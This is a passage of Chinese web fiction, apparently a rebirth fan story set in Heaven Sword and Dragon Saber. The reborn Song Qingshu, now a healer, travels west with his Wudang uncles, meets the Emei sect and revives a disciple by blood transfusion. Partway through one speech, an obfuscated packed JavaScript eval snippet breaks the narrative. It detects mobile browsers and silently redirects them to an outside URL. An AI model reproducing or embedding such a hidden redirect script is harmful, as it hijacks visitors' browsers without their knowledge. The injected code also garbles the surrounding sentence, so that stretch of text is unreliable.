“六弟说得轻巧。”张松溪笑道,“你那一手‘神门十三剑’快则快矣,若真遇上围攻,还得靠我的阵法周旋。不过青书放心,四叔别的本事没有,护个把人还是绰绰有余。” 莫声谷挤进来,脸上满是认真:“青书,你就去吧!一路上七叔天天给你讲江湖趣事,绝不让你闷着!” 廊下的俞莲舟终于开口,声音沉稳如钟:“青书,武功高低并非唯一考量。你这些年钻研医道,于经脉内力之理,怕是比我们都通透。魔教善用毒物诡计,有你同行,我们反而多一分把握。” 殷梨亭接着张松溪的话头说:“你四叔昨晚还在算,说此行至少要走两个月,沿途荒凉,万一有个头疼脑热的,连个大夫都找不到。要是你在就好了,你医术这么好……” 他说得随意,宋青书心里却掀起波澜。六师叔从不是会说这种话的人,今日却句句都往“需要医者”上引。 他们都想让他去。 不是命令,是恳求;不是施舍,是需要。 “我还想再考虑考虑。” 午后,他在药房整理药材时,张松溪来了。 “四叔。”宋青书放下手中的药杵。 张松溪摆摆手,示意他继续,自己则在药房里转悠起来,不时拿起这个瓶子看看,那个药包闻闻。“青书啊,你这儿的好东西真不少。”他状似随意地说,“这解毒散,这金疮药,都比山下买的强多了。” 宋青书静静看着四叔。这位师叔向来精于算计,说话做事都有目的,今日这般“闲逛”,实在反常。 果然,张松溪转了一圈后,在桌边坐下,忽然道:“青书,师叔想请你帮个忙。” “师叔请讲。” “此次西行,各派齐出,难免有摩擦争斗。”张松溪神色郑重,“我武当向来以和为贵,但若真起了冲突,难免有弟子受伤。我想……能不能请你配些常用的伤药,让弟子们带上?毕竟你的药,比外面的好。” 这个理由合情合理。宋青书点头:“弟子这就准备。” “那就好,那就好。”张松溪笑了笑,却不起身,反而斟酌着道,“其实……若你能亲自去,就更好了。毕竟用药如用兵,什么情况用什么药,还是大夫最清楚。” 宋青书抬起眼,对上四师叔的目光。那双总是精于计算的眼睛里,此刻是纯粹的恳切。 有些事,躲是躲不过的。 他起身,走到药箱前,打开暗格。两颗净尘丹静静躺在青玉瓶里,旁边是那套冰魄银丝,还有这些年积攒的各种珍稀药材。 如果要去,这些都要带上。 还有……那些前世欠下的情,今生该还的债。 “二叔。” 俞莲舟走到他身后,没有开口,只是静静站着。许久,才道:“大哥很担心你。” “青书……知道。” “我们都很担心。”俞莲舟的声音在夜色里格外沉稳。 宋青书转过身,对上二师叔那双如深潭般的眼睛。 “二叔,”他忽然问,“如果……如果一个人明知道前路凶险,明知道会看到很多不愿看到的,还要去么?” 俞莲舟看着他,良久,缓缓道:“该去的时候,就得去。有些路,躲不开。” 这话和太师父说的何其相似。 宋青书闭上眼,深吸一口气。 再睁开时,眼中已是一片清明。 “我明白了。”他躬身行礼,“请二叔转告父亲,青书愿往。” 他听见自己说。 早些时候。 宋远桥站在殿中,看着几位师弟陆续起身,忽然开口:“莲舟,松溪,梨亭,声谷——留步。” 四人停住脚步,转身看向大师兄。月光下,宋远桥的脸上有种罕见的疲惫,那双总是沉稳的眼眸里,藏着一丝深沉的忧色。 “青书那孩子,”他顿了顿,声音在空旷的大殿里显得格外清晰,“……你们也都看到了。” 俞莲舟沉默点头。 “特别是近几年性子越发孤僻了,整日关在药房里,不与同门交谈,不参与派中事务。虽然治好了三弟,又研制 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109861|195845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出了净尘丹。”宋远桥缓缓道,“但我还是担心……担心他这样下去,心会出问题。”他这做父亲的直觉还是很准的,世上也就只有父亲会这样担心自己的子女了。 他走到殿中那幅巨大的太极图前,仰头看着阴阳流转的图案,许久才道:“此次光明顶之行,我想带青书同去。” 张松溪最先反应过来:“大师兄是想……借此次西行,让青书散散心?” “不止。”宋远桥转过身,目光扫过四位师弟,“青书医术精湛,此行若有他同行,对各派都是助益。更重要的是——”他顿了顿,“我想让他看看这片江湖,不只有刀光剑影,还有人情冷暖,有可以救的人,有可以走的路。” 俞莲舟沉声道:“但青书自己未必愿意。” “所以需要你们帮忙。”宋远桥看着他们,眼中是少见的恳切,“我一个人劝不动他。但若你们几位师叔一起去劝,或许……” 他没有说下去,但意思再明白不过。 莫声谷立刻道:“我去!我去劝青书!他一定会听的!” 殷梨亭也点头:“大哥放心,明日一早我就去找青书。那孩子最听我的话了。” 张松溪沉吟片刻:“此事需讲究方法。青书心思细腻,若我们一起去劝,反而可能让他觉得是在逼迫。” “四弟说得对。”宋远桥点头,“这样,明日你们就去找青书就……就像平常关心他那样,说说此行的难处。” 这话说得恳切,众人皆肃然点头。 “大哥,”俞莲舟忽然开口,“你可曾仔细体察过青书的变化?” 宋远桥一怔:“体察?” “说不上来。”俞莲舟眉头微蹙,“只是觉得……青书像是看透了什么,又像是在躲避什么。那种沉静,倒很像……明悟后的疏离。” 这话说得玄妙,殿内一时安静。月光移动,照亮了宋远桥凝重的侧脸。 “无论如何,”最终他缓缓道,“他是我的儿子,是你们的师侄。我们不能看着他这样下去。光明顶这一路,或许是个转机。” “是。”四人齐声应道。 第二章西行路迢迢 出发那日,武当山下着淅淅沥沥的春雨。 宋青书背着半旧的药箱,跟在父亲和师叔们身后走出山门。药箱很沉,里面装满了三年积攒的药材和友人所赠的银针。 他回头看了眼山门,“武当”两个大字在雨雾中有些模糊,像隔着一层纱。 此路行去,不知吉凶, 但愿能够不重蹈覆辙,单元不会行差踏错一步,跌至深渊。 “青书,走了。”殷梨亭回头叫他,脸上是少见的明朗笑容。他两鬓斑白,心头一直思量着要报他未婚妻纪晓芙被杨逍所杀之仇。 当年要是能够劝劝他就好了,不过那时候他正忙于炼制冰魄银丝。 宋青书叹了一口气。 这一路西行,宋青书刻意放慢了脚步。 他不像前世那样急于表现,反而时常落在队伍最后——有时是为路边腹痛的樵夫扎两针,有时是给驿卒的老娘开个治风寒的方子。他治病时不问来历,不收钱财,若遇实在穷苦的,反而贴些药钱。 奇怪的是,武当派众人从不等他——因为他们总有一两个人,不知不觉就落在了后面。 有时是殷梨亭,说他坐骑蹄铁松了,要慢慢走;有时是张松溪,说要勘察地形,研究阵法;莫声谷最直白,直接说“我要陪青书”。俞莲舟沉默些,但若宋青书在哪个村落耽搁久了,回头总能看见二师叔抱剑立在村口老树下,像一尊守门的石狮。 宋远桥从不说什么,只是每晚扎营时,会不经意地将宋青书安置在最避风的位置。有一夜暴雨,帐篷漏雨,宋远桥把自己的干毯换给儿子,自己裹着湿毯坐了一夜。 这些细碎的好,宋青书都默默收着。 他治病时越来越沉静,有时甚至忘了自己是谁,只记得针该落几分,药该煎几时。只有在深夜,听着帐外风声,才会想起前世这个时候——自己正心心念念要在光明顶大出风头,对路边饿殍视而不见。 改变,原来可以从这么小的地方开始。 过潼关那日,他们在破败的关帝庙歇脚。庙里已聚集了几十个流民,面有菜色。宋青书刚卸下药箱,就有个妇人抱着发烧的孩童跪下来。 这一忙就到了月上中天。流民们吃过他施的粥药,沉沉睡去。宋青书揉着发酸的手腕走出庙门,看见月光下,宋远桥和俞莲舟并肩立在古柏下。 “爹,二叔,你们先歇息吧。” “不急。”宋远桥回头看他,目光在月光里很柔和,“青书,你今日救了十七人。” 宋青书一愣。 “为父刚才数的。”宋远桥笑了笑,“你三叔若知道,定要夸你。” 俞莲舟忽然开口:“江湖人治病为名,你治病为命。不一样。” 这话说得平淡,宋青书却心头微热。他低头整理药箱,发现多了一包糖渍梅子——是莫声谷白天在镇上买的,说酸酸甜甜能解乏。 又西行三百里,渐渐荒凉。这日路过一个被马贼洗劫过的村子,残垣断壁间还有未熄的烟。村口躺着个胸口插着断箭的老汉,气息微弱。 几个昆仑派弟子看了一眼,摇头:“没救了。” 宋青书却蹲下身。箭伤很深,血已发黑,但他记得蓝前辈的医书上记过一个类似的案例。银针封住心脉周围大穴,又用烧红的匕首烫过伤口——没有麻沸散,老汉疼得浑身抽搐,却咬牙没哼一声。 “老丈忍着些。”宋青书额角渗出冷汗,手上极稳地拔出断箭,敷药,包扎。做完这一切,日头已经偏西。 老汉的儿子从废墟里爬出来,砰砰磕头。宋青书扶起他,留下些药材和干粮。 走出村子时,夕阳将一行人的影子拉得老长。殷梨亭忽然笑道:“青书,你这‘青书医者’的名号,怕是比我们武当七侠还响亮了。” 的确,越往西走,常听见路边茶摊有人议论:“那个背药箱的年轻大夫,是武当派的,医术精妙……” 宋青书只是笑笑,不多言。 43. 光明汇聚一线天2 一线峡的晨雾浓得化不开,将嶙峋的山石和枯瘦的树木都裹进一片茫茫的灰白里。宋青书走得很慢——武当派的大队昨夜在谷口扎营,他因要采一味只在凌晨开放的“雾中花”,天未亮就独自进了峡谷。 药篓在肩上轻轻晃着,里面已装了小半篓带着露水的草药。他蹲在一处背阴的岩缝边,小心翼翼地将一株开着淡蓝色小花的植物连根挖起。花很不起眼,却有清心明目的功效,是治疗眼疾的良药。 刚把花收好,前方雾中忽然传来细碎的脚步声和说话声。 宋青书站起身,雾霭流动间,几十道身影渐渐显形——清一色的灰色僧衣,为首的老尼手持拂尘,脚穿六孔罗汉鞋,面容冷峻,正是灭绝师太。 她身后跟着的峨眉弟子中,有一个脸上疤痕纵横的少女,还有一个拄着树枝、走路一瘸一拐的农家青年。 蛛儿,曾阿牛。 或者说是自称曾阿牛的张无忌。 还有……周芷若。她走在灭绝师太身后半步,素净的衣裳在晨雾里显得格外清冷。 宋青书的心跳漏了一拍。前世的一幕幕在眼前闪过——光明顶上的重逢,后来那些纠缠与伤害。 他握紧药篓的背带,深吸一口气,让自己平静下来。 “前方何人?”一个峨眉弟子的声音穿透雾气。 宋青书从雾中走出,朝众人躬身行礼:“武当宋青书,见过师太,见过各位师姐。” 声音平静,举止得体,既不谄媚也不倨傲。 他没有像前世一样为了周芷若讨好灭绝师太,而叫他们师叔师伯,平白无故地自降身价,最后一然得不到周芷若的半分青眼。 灭绝师太的目光落在他身上,上下打量一番,眉头微挑:“宋青书?你就是那个一路行医的武当弟子?” “正是晚辈。” “你一个人在此?”灭绝师太看向他身后,“武当派其他人呢?” “师叔们昨夜在谷口扎营,晚辈进谷采药,不慎走远了些。” 说话间,宋青书的目光平静地扫过众人。在周芷若脸上停留了不到一瞬,便移开了——就像看一个陌生人。 前世那种灼热的、纠缠的目光,如今半分也无。 她也不过是他眼中芸芸众生中的一个。 周芷若微微一怔,袖中的手指无意识地蜷了蜷。 她还是记得自己随张三丰上武当第一次见到宋青书时。 彼时,她怯弱地躲在张三丰的身后。 她之前从未见过这样的少年——汉水边的渔家少年都是黝黑粗糙的,说话大声,举止粗鲁。而这个武当弟子,却像画里走出来的人,连行礼的动作都透着一种难以言说的优雅。 他转身离开时,目光无意间掠过她。那是极短暂的一瞥,平静得像看路边的石头,然后便移开了。 可是她总觉得不该是这样的。 好像有什么地方不对劲。 灭绝师太身后,蛛儿正恶狠狠地瞪着他。 宋青书不知道他什么地方得罪了她,却还是朝她点了点头。他想大抵是蛛儿从来没有从别人的身上获得过什么好意,所以性子才会如此乖张。 他又想起书里蛛儿的结局,蛛儿最后始终没有和殷野王和解,蛛儿摊上那样一个爹,实在是不幸。 金花婆婆也没有多喜欢她,把她当成自己达成目的的工具。 脸被周芷若划花,张无忌把她一人活埋在荒岛上。 也只是一个可怜人啊! 宋青书的目光在她脸上那些狰狞的疤痕上停留片刻,忽然开口:“这位姑娘,你脸上的伤……可是练千蛛万毒手所致?” 蛛儿像是被踩了尾巴的猫,猛地后退一步,眼中满是警惕:“关你什么事?!” “晚辈略通医术。”宋青书语气平和,“若姑娘愿意,或许可以试试淡化这些疤痕。只是……”他顿了顿,“需停止修炼那门毒功,否则毒质深入血脉,不仅容貌难复,性命亦有碍。” 这话说得诚恳,蛛儿却像是受了极大的侮辱,尖声道:“谁要你假好心!你们这些名门正派,一个个道貌岸然!惯会假做好人!我练什么功夫,长什么模样,轮得到你管吗?!” 蛛儿说完才发现一直藏在她心里的张无忌也是正派出身,虽然张无忌的妈妈乃是她的姑姑,但是张无忌究属名门弟子。 可是话已出口,便如覆水难收。 她声音尖利,在峡谷中回荡。几个峨眉弟子皱眉侧目,灭绝师太也冷冷瞥了她一眼。 宋青书并不生气,只平静道:“药方我记下了,姑娘若改变主意,随时可来找我。”说完,他不再看蛛儿,目光转向那个拄着树枝的青年。 张无忌——或者说,此刻化名曾阿牛的张无忌。 四目相对的瞬间,宋青书看见那双眼睛里闪过复杂难言的情绪——震惊,挣扎,还有深藏的痛楚。 张无忌的嘴唇动了动,似乎想说什么,却最终死死咬住,只低下头,让乱发遮住眉眼。 宋青书也什么也没说,甚至没有多看他一眼,仿佛这真的只是个素不相识的农家青年。 “宋少侠倒是好心。”灭绝师太忽然开口,语气听不出喜怒,“不过魔教妖人诡计多端,宋少侠独自在此,还是小心为上。” “多谢师太提醒。”宋青书躬身,“晚辈这就回营。” 他背起药篓,朝众人点了点头,便转身朝来路走去。背影在浓雾中渐渐模糊,那份从容淡定的气度,却让在场的峨眉弟子都暗自感叹。 “师父,”一个年轻女弟子低声对身边的师姐说,“那就是武当宋青书?生得可真……俊。” “净尘!”年长些的师姐轻斥,“出家人怎可妄论他人相貌?” 被唤作净尘的女弟子吐了吐舌头,却忍不住又朝宋青书消失的方向望了一眼。不止她,好几个年轻女尼都在低声议论。 “听说他一路上救了好多人……” “医术可高了,连崆峒派的长老都夸他。” “可惜了,这么好的天赋,却不会武功……” 声音不大,却清晰地传进灭绝师太耳中。她看着宋青书消失的方向,眉头微蹙,忽然对身边的周芷若道:“芷若,你觉得此人如何?” 周芷若心头一跳,垂下眼:“弟子……不知师父指的是哪方面?” “医术,人品,气度。”灭绝师太淡淡道,“都说他医术通神,仁心仁术,你怎么看?” 周芷若沉默片刻。她想起汉水舟中那个骄傲的武当少年,想起后来几次相遇时他炽热的目光,也想起方才那双平静得近乎冷漠的眼睛。 “宋少侠医术确实高明,”她斟酌着开口,“至于人品气度……弟子与他接触不多,不敢妄断。” 这话答得滴水不漏,灭绝师太却听出了其中的回避。她看了周芷若一眼,没再追问,只道:“武当第三代首徒,竟是个手无缚鸡之力的大夫。可惜了。” 话虽如此,语气里却没了从前的轻蔑,反倒多了几分复杂的意味。 队伍继续前行。张无忌拄着树枝走在最后,目光不时飘向宋青书离开的方向。这一路上,他无数次想起武当山,想起太师父,想起大师伯、二师伯、四师叔、六师叔、七师叔,还有……青书哥哥。 方才那一瞬间,他几乎要冲口喊出来。可他不能,至少现在不能。 蛛儿蹭到他身边,小声嘟囔:“阿牛哥,那个武当的小大夫怪里怪气的。你说他是不是看上我了,才给我药?” 张无忌勉强笑笑:“他是大夫,大夫眼里只有病人。” “我才不信。”蛛儿撇嘴,却下意识摸了摸自己的脸。那些疤痕凹凸不平,像一条条毒虫爬在皮肤上。真的……能治好吗? 前方,周芷若跟在师父身后,心思却飘远了。 师父问她对宋青书的看法时,她的心竟然偏向了那个人。不是张无忌,不是她的无忌哥哥,而是那个没正眼看过她的宋青书。 为什么呢? 她不知道。她只知道,方才宋青书看她时那双平静的眼睛让她……心慌。 雾渐渐散了。一线峡的出口就在前方,天光从狭窄的缝隙里漏下来,照在众人身上。 宋青书背着药篓往回走时,一线峡的晨雾已渐渐散开。阳光从嶙峋的崖壁间斜斜照下,在谷底投出明明暗暗的光影。他走得很慢,一边走一边留意路旁的岩缝和草丛——有些草药只在特定的时辰、特定的光线下方能采到。 转过一个弯,前方忽然传来殷梨亭的声音:“青书!” 宋青书抬眼,看见六叔正站在一块突出的岩石上朝他挥手,脸上是对他的那种惯常的、明朗的笑容。 他快步走过来,很自然地接过宋青书肩上的药篓:“怎么一个人跑这么远?大师兄他们等得着急,先往前探路去了,让我在这儿等你。” “采药耽搁了。”宋青书道,“让六叔久等了。” “等什么等,六叔等你还不应该?”殷梨亭掂了掂药篓,“哟,采了不少嘛。” 两人并肩往回走。殷梨亭说起刚才探路的情况,说峡谷前方地形复杂,岔路多,魔教的人很可能在此设伏。正说着,他忽然想起什么:“对了,我刚才看见峨眉派的人了,就在前面不远。灭绝师太带着几十个弟子,阵仗不小。” 宋青书点头:“我方才也遇到了。” “遇到了?”殷梨亭侧目看他,“说什么了没?” “只是打了个招呼。” 殷梨亭“啧”了一声,摇摇头。这青书确实是个愣头青,这么好的机会可以多识得几个女弟子也可以啊。 想他那时……想起纪晓芙,他的面色又沉了下去。 宋青书神色如常:“六叔,我们是要赶上去与父亲他们会合么?” “啊,对。”殷梨亭松了口气,又恢复了那副爽朗的样子,“不过我想了想,咱们不如干脆跟峨眉派同路算了。” 宋青书脚步微顿:“同路?” “是啊。”殷梨亭理所当然地说,“你看啊,一来峨眉派人多,跟她们一起走安全些;二来这一路上难免有伤病,你医术这么好,正好能帮帮忙;三来嘛……”他顿了顿,声音低了些,“你这孩子性子太静了,跟同龄人多走动走动,总没坏处。” 最后这句话说得委婉,意思却明白。宋青书垂下眼,看着脚下的碎石。六师叔总是这样,用最直白的方式关心他,生怕他一个人闷坏了。 “六叔是担心我么?” “废话!”殷梨亭一把搂住他肩膀,“你当我跟你二叔一样,整天板着脸?六叔最疼你了,你不知道?” 知道。宋青书当然知道。前世六叔为他操了多少心,他后来才渐渐明白。可那时他满心都是名利和周芷若,从未真正回应过这份赤诚的关爱。 “青书知道。”他轻声说,“那……就依六叔的意思。” 殷梨亭:“当真?” “当真。” “好小子!”殷梨亭用力拍拍他后背,“走走走,咱们这就追上 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灭绝师太目光在殷梨亭脸上停留片刻,又扫过他身后的宋青书,淡淡道:“殷六侠是担心老尼护不住峨眉弟子?” “哎哟,师太误会了!”殷梨亭连连摆手,“谁不知道师太武功盖世?我是想啊,这魔教诡计多端,万一在前面设了什么陷阱毒阵,多一个人也多个照应不是?” 这话说得巧妙,既捧了灭绝师太,又给了个合情合理的理由。灭绝师太沉吟片刻,看向宋青书:“宋少侠意下如何?” 宋青书躬身:“晚辈听凭师太与六叔安排。” “那就一起走吧。”灭绝师太转身,拂尘一甩,“芷若,你在后面照应着。” “是,师父。”周芷若应声,退到队伍末尾。 不久,队伍重新启程。 殷梨亭走在宋青书身边,压低声音笑道:“怎么样,师叔这主意不错吧?” 宋青书点头:“六叔思虑周全。”他故意不接他六叔的话茬。 “那是!”殷梨亭得意地扬扬眉,忽然想起什么,“对了,刚才我跟灭绝老尼说话时,看见周姑娘一直往这边看。青书啊,你说她是不是……” “六叔。”宋青书轻声打断他,“青书如今只想钻研医道,其他事,不愿多想。” 殷梨亭一愣,仔细看了看侄子的脸色,见他神色平静,眼神澄澈,不像是在说气话。他叹了一声,拍拍宋青书的肩:“好,好,不想就不想。咱们青书以后是要当举世无二的神医的,对不对?” “青书不敢称神医,只愿能多救几人。”殷梨亭心想这侄儿真是油盐不进。 “有志气!”殷梨亭笑道,“六叔支持你!” 队伍在峡谷中缓缓行进。宋青书走在峨眉弟子队伍的末尾,能感觉到前方不时投来的目光——有好奇的,有探究的,也有带着善意的。他目不斜视,只专注于脚下的路,偶尔抬头看看两侧的崖壁,寻找可能生长草药的地方。 周芷若走在队伍另一侧,与他隔着一丈距离。她能清楚地看见宋青书的侧脸——阳光下,那张脸清俊得近乎透明,长睫在眼下投出浅浅的阴影,神情专注而平静。 前方忽然传来一声惊呼。一个年轻的女弟子脚下一滑,摔倒在地,手肘擦在尖锐的石头上,顿时鲜血淋漓。 “净尘!”旁边的师姐急忙扶起她。 殷梨亭正要上前,宋青书已快他一步。他走到那女弟子身边,蹲下身,从药篓里取出纱布和药瓶:“师姐忍一忍,伤口需先清洗。” 声音温和,动作利落。他先用清水冲洗伤口,又敷上止血药粉,最后用纱布仔细包扎。整个过程不过片刻,却做得行云流水,连灭绝师太都忍不住多看了一眼。 “多谢宋少侠。”受伤的净尘红着脸道谢。 “师姐客气了,这几日伤口不要沾水,明日我再来换药。”宋青书站起身,将用过的物品收回药篓。 殷梨亭在一旁看着,眼中满是骄傲。他凑到宋青书身边,小声说:“青书,你看,这就是六叔说的——多帮人,多结善缘。咱们武当的名声,就是这样一点一点攒起来的。” 宋青书点头,没有多言。他只是做了该做的事,就像这一路走来,救治每一个需要帮助的人。 队伍继续前行。阳光渐渐升高,峡谷里的雾气完全散去,露出两侧陡峭的崖壁。前方传来水声,是一处从崖壁渗出的山泉。 灭绝师太下令休息。众弟子各自找地方坐下,喝水,吃干粮。 宋青书选了一块干净的岩石坐下,取出水囊。刚喝了一口,就听见一个怯生生的声音:“宋、宋少侠……” 抬头,是刚才受伤的净尘。她手里捧着块烙饼,脸上还带着未褪的红晕:“这个……给宋少侠尝尝,是我们峨眉特制的。” “多谢师姐。”宋青书接过,礼貌地道谢。 净尘红着脸跑开了。 宋青书无奈地摇头,将烙饼分了一半给六师叔。饼很香,带着芝麻和花椒的香气,确实是峨眉的风味。 他慢慢吃着,目光无意间扫过不远处——张无忌正拄着树枝坐在泉边,低头喝水。蛛儿蹲在他身边,正小声说着什么。 四目相对。张无忌的手顿了顿,水从指缝间漏下。他张了张嘴,似乎想说什么,最终却只是低下头,继续喝水。 宋青书移开目光,继续吃饼。 有些事,急不得。有些人,认不得。 该相认的时候,自然会相认。 44. 光明汇聚一线天3 韦一笑出现时,一线峡的月光忽然变得惨白如骨。 那道青影如鬼魅般掠过,宋青书的心脏骤停了一拍。他看见静虚手中的干粮撒了一地,看见她年轻的脸在月色下因惊恐而扭曲,而后整个人便如断线风筝般被裹挟进那道青色旋风里。 “静虚,留神!” 灭绝师太的厉喝迟了半步。拂尘如银龙出洞,却只扫落崖壁几片碎石。静玄和苏梦清已提剑追出,两道窈窕身影在嶙峋山石间疾掠,衣袂带风,剑光如练。可韦一笑太快了,快得不像人——他足尖在几乎垂直的岩壁上轻点,身形如一只巨大的夜蝠,几个折转间已至十丈开外。 “追!”灭绝师太声音里是宋青书从未听过的惊怒。灰影一闪,这位峨眉掌门已亲自追出,身法之快竟带出破空锐响。 可还是追不上。 韦一笑的笑声从高处飘下,嘶哑如夜鹰:“灭绝老尼,你这弟子血很香,给我暖身子正好!” 话音未落,他忽然将臂弯中的静虚凌空一抛—— 那具穿着鹅黄僧衣的身体在空中划出一道弧线,而后直直坠落。 众人围拢过来。月光下,静虚双目紧闭,脸如黄蜡,唇色青紫得骇人。她的僧衣肩头有一个清晰的掌印,肌肤青紫,边缘甚至凝着薄薄的霜花——是韦一笑的寒冰绵掌。 “静虚!静虚!”静玄扑跪在地,颤抖着手去探鼻息。指尖触到的是冰冷的、几乎察觉不到的微弱气息。她不死心,又去按颈侧,按了许久,脸色唰地白了。 “师、师父……”她抬起头,泪如雨下,“没、没气了……” 这话像一块巨石砸进死水,激起一片悲鸣。苏梦清跪倒在地,几个年轻女弟子低声啜泣起来。连灭绝师太也踉跄了一步。 殷梨亭扶起宋青书,见他后背衣衫已磨破,渗出血迹,急道:“青书,你怎么样?”刚才匆忙中他脚步不稳,后背重重地撞上一块尖锐而巨大的石头上。 宋青书摆摆手,推开六师叔的搀扶,踉跄着走到静虚身边。他蹲下身,没有像其他人那样去探鼻息按脉搏,而是闭上了眼睛。 “宋少侠……”静玄哽咽道,“静虚她……” “别说话。”宋青书轻声打断,声音里有种奇异的平静。 此刻,他正将自己纯净的念力探入静虚体内。 峡谷里忽然安静下来。所有人都看着他——这个脸色比静虚好不了多少的年轻医者,此刻闭着眼,眉头微蹙,像是在倾听什么极细微的声音。 月光照在他脸上,那张清俊的面容此刻苍白如纸,额角还带着撞伤后的青紫。可他的神情却专注得近乎神圣,仿佛这世间只剩下他和地上这个濒死的姑娘。 殷梨亭想要说什么,目光落在宋青书身上,眼中既有担忧,也有信任。 时间一点一滴流逝。每一息都像一年那么长。 死寂。心脉处一片冰冷的死寂。可在那片死寂深处,有一点点、比烛火余烬更微弱的光——魂魄未散,生机尚存一线。 终于,宋青书睁开了眼睛。 “还有救。”他说。 三个字,清晰,平静,却像惊雷。 “宋少侠,你……”静玄愣住,眼泪还挂在脸上,“静虚她已经……” “我说,还有救。”宋青书重复了一遍,目光扫过众人,最后落在灭绝师太脸上,“师太,可否让晚辈一试?” 灭绝师太死死盯着他,那双总是锐利如刀的眼睛里此刻翻涌着惊涛骇浪。她看着地上气息全无的弟子,又看看这个脸色苍白却眼神坚定的年轻人,嘴唇动了动,竟一时说不出话。 “师太!”殷梨亭急道,“让青书试试吧!” “师父……”周芷若也轻声开口,声音里带着恳求。 灭绝师太深吸一口气,缓缓点头:“好。宋青书,你若有办法救静虚,峨眉上下……欠你一个天大的人情。” 宋青书没有回应这份承诺。他转身,快速打开一直背着的药箱,从最内层取出七八只粗陶小碗,一字排开在地上。又取出银针,在静虚指尖刺出一滴血,滴入每个碗中。 静虚的血并没有被韦一笑吸食干净,却也维持人体所必须的最小血量。 暗红的血珠在碗底晕开,粘稠得有些不正常。 然后他刺破自己的指尖,将自己的血滴入。 又将将扎破了几个峨眉派弟子的指尖,将她们的血一一滴入碗中。 所有人都屏住呼吸看着。 青翳下,有什么发生了——其中三只碗里,两滴血渐渐相融,不分彼此。另外几只碗中,血滴却如油与水,泾渭分明。 “血种相合。”宋青书低语,抬头看向那三位血滴相融的峨眉弟子——是静白、苏梦清,还有一个年轻的女弟子净妙,“三位师姐,请站到我身后。” 而自己的血也与静虚的血相融了。 宋青书不再多言,从药箱里取出那套冰魄银丝。细如发丝的管状物在青绿色的罅隙里泛着幽冷的光泽,看得众人一阵心惊。 “这是什么?”静玄忍不住问。 “冰魄银丝,以剑鱼之筋淬炼而成,可暂代血管。”宋青书简短解释,手上动作不停。他挽起自己左臂衣袖,露出清瘦却线条分明的小臂。银丝贴上皮肤时,寒意刺骨,他却连眉头都没皱一下。 运起那点微薄的念力,他精准找到血管的位置。银丝如活物般刺入——没有血涌出,冰魄银丝内壁的特殊药液瞬间封住了创口。 另一边,他将另一根银丝刺入静虚手臂。两根银丝在月光下对接,他指间捻动,某种无形的气劲将接口处完全密封。 “开始了。” 输血全凭一股气。 宋青书闭目凝神,多年来积聚的那念力,此刻缓缓流转,如溪流般推动着自己体内的血液,通过冰魄银丝,流向静虚冰冷的身体。 第一个变化出现在静虚脸上。 那张蜡黄的脸,以肉眼可见的速度恢复了一丝血色。很淡,像宣纸上极轻的一笔胭脂,却真实存在。 “活了……静虚师姐活了!”净尘捂住嘴,眼泪涌出。 可宋青书的脸色,却一点点白下去。 那种白不是失血的苍白,而是某种更深的、仿佛灵魂被抽离的透明感。他额角渗出冷汗,嘴唇失了血色,握持银丝的手指却稳如磐石。 “青书……”殷梨亭上前一步。 他总觉得这侄儿只要是涉及到救人的事,总有点不顾自己的死活。 “下一个。”宋青书声音有些飘,却依然清晰。他拔出自己臂上的银丝——创口处竟只有针尖大的红点,瞬间凝住。而后将银丝一端刺入静白手臂,另一端重新连接静虚。 血液第二次流动。 这一次,静虚的睫毛颤了颤。 “动了!师父!静虚师姐动了!”苏梦清喜极而泣。 灭绝师太死死盯着宋青书。这个年轻人的脸已白得像纸,身形微微摇晃,却依然站得笔直。他指挥着输血的过程,谁该接替,谁该休息,何时该换人,有条不紊,仿佛这不是在鬼门关前抢人,只是在配一剂寻常汤药。 “几位师姐不要害怕,失点血于身体是无碍的,过得几天,身体里还会有新的血生出来,甚至对身体有益处也未可知。”宋青书怕的是几位师姐以为输点血就会死。 但是江湖儿女,即使为同门而死,也未必就不可,当然也不是所有的人都这样想。 就比如说,丁敏君,刚才要扎指尖时,故意把其他师妹们推搡到前面,自己则悄悄地站到后面去。 现在听宋青书这样说,脸上又有悔色。 小人大概就是这样的了 殷梨亭看着侄子苍白的脸,眼眶发红:“青书,你……” 血液第三次流动,连接的是苏梦清的血管,第四次流动,连接的是净妙的。 “呼吸……有呼吸了!”静玄跪倒在地,哭出声来。 宋青书此时已几乎站不住。他扶着岩壁,看着静虚渐渐恢复生机的脸,唇角极轻地弯了一下。 而后,他身体晃了晃,向后倒去。 没有摔在地上。 张无忌——那个一直沉默看着这一切的曾阿牛——不知何时已到他身后,稳稳扶住了他。 “青书……哥哥。”极轻的三个字,只有两人能听见。 宋青书没有回应。他太累了,累得连睁眼的力气都没有。只感觉有人将他轻轻放平,感觉有人往他口中喂了什么——是参片,武当山带出来的老参片。苦味在舌尖化开,暖流一点点流回冰冷的四肢。 他听见灭绝师太的声音,前所未有的复杂:“宋青书……老尼欠你一个人情。” 听见殷梨亭压抑着颤抖的声音呼喊:“青书,青书。” 听见静玄的啜泣,听见峡谷里的风又开始呜咽。 最后听见的,是张无忌在他耳边,用只有两人能听见的声音说: “青书哥哥,我又接住你了。” 宋青书想对他笑,却连牵动嘴角的力气都没有。 这一世的他,救了一个注定要死的人,改变了一小段剧情。 不知道会不会有什么后果? 可当他“看”见静虚体内那一点微弱生机时,当他握住冰魄银丝时,当他感觉到自己的血流入另一个生命时——那些关于剧情、关于命运、关于前世今生的算计,忽然都变得不重要了。 重要的只有一件事: 他是个医者。而眼前,有一个需要他救的人。 这就够了。 月光渐渐地从一线天的缝隙里漏下来,照在他苍白却平静的脸上。 远处,韦一笑不知何时已悄然离去,只留下一声若有若无的叹息,消散在风里。 而静虚的呼吸,一声,一声,渐渐平稳。 在这死寂的峡谷中,像春天第一片融化的冰,脆生生地,宣告着某个奇迹的诞生。 围拢的众人缓缓散开,给静虚留出呼吸的空间。灭绝师太那张向来冷硬的脸上罕见的动容,她走到宋青书身边,看着这个昏迷的年轻人,良久,缓缓躬身,行了一礼。 